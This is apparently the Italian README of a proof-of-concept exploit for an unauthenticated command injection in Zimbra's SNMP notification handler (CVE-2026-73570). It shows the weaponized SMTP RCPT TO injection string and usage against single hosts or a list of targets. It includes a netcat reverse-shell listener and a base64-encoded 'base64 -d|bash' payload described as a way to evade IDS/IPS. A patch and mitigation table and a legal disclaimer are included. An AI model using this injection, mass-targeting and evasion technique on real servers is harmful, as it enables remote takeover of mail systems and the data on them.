
Zimbra SNMP Notification OS Command Injection — RCE non autenticato tramite exploit SMTP (Poc)
Esecuzione di codice in remoto non autenticata tramite OS Command Injection nel gestore delle notifiche SNMP di Zimbra Collaboration Suite.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Neutralizzazione impropria di elementi speciali usati in un comando di sistema operativo |
| Affected | Zimbra ZCS < 10.1.20 (con zimbra-snmp installato) |
| Fixed in | ZCS 10.1.20 — Luglio 2026 |
| CISA KEV | Aggiunto il 2026-08-21 (scadenza per la remediation FCEB: 2026-08-24) |
| Auth required | Nessuna |
| Execution as | Utente di sistema operativo zimbra |
Il pacchetto opzionale zimbra-snmp include una regola swatchdog che monitora /var/log/zimbra.log per individuare righe corrispondenti a:
Service status change: <NAME> changed from <STATE> to <STATE>
Quando viene trovata una corrispondenza, swatchdog passa il campo <NAME> catturato direttamente allo script shell di notifica SNMP senza alcuna sanificazione.
Un attaccante non autenticato può iniettare una voce di log appositamente costruita inviando un comando SMTP RCPT TO appositamente formato. Utilizzando una local-part tra virgolette secondo RFC 5321, i metacaratteri della shell — ad es. $(...) — vengono incorporati all'interno di <NAME> ed eseguiti quando swatchdog elabora la riga di log risultante.
Tutte e tre le condizioni devono essere vere sul target affinché la vulnerabilità sia sfruttabile:
zimbra-snmp è installatosnmp_notify = true)swatchdog è in esecuzioneAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO weaponizzato.swatchdog individua il pattern nel log ed estrae il $(CMD) iniettato.CMD come utente di sistema zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
o tramite apt-get
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl
o tramite yum
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — un host per riga, :port opzionale, le righe che iniziano con # vengono ignorate:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| Flag | Long | Default | Descrizione |
|---|---|---|---|
-H | --host | — | Singolo hostname o IP di destinazione |
-f | --file | — | File contenente la lista dei target |
-p | --port | 587 | Porta SMTP predefinita |
-r | --rhost | — | Il tuo IP per il callback della reverse shell |
-R | --rport | 4444 | Porta del listener |
-t | --timeout | 15 | Timeout del socket in secondi |
-S | --ssl | off | TLS diretto (attivato automaticamente sulla porta 465) |
-v | --verbose | off | Stampa il dialogo SMTP completo |
-L | --logfile | — | Scrive il log della sessione su file |
-h | --help | — | Mostra l'aiuto |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
Il comando della reverse shell viene codificato in base64 prima dell'iniezione:
echo <b64>|base64 -d|bash
Ciò impedisce a IDS/IPS di rilevare firme in testo in chiaro come /dev/tcp, bash -i o nc -e. Il blob codificato viene iniettato come $(...) all'interno della local-part tra virgolette di RCPT TO, innescando l'esecuzione lato server quando swatchdog elabora la voce di log.
| Azione | Dettaglio |
|---|---|
| Patch | Aggiornare a Zimbra ZCS ≥ 10.1.20 |
| Disabilitare SNMP notify | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Rimuovere il pacchetto | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Controlli di rete | Limitare l'SMTP in ingresso (25/465/587) ai relay attendibili, ove operativamente fattibile |
Questo proof-of-concept è rilasciato esclusivamente per test di sicurezza autorizzati, ricerca accademica e scopi difensivi.
Eseguirlo contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta ai test è illegale.
L'autore non si assume alcuna responsabilità per qualsiasi uso improprio o danno causato da questo strumento.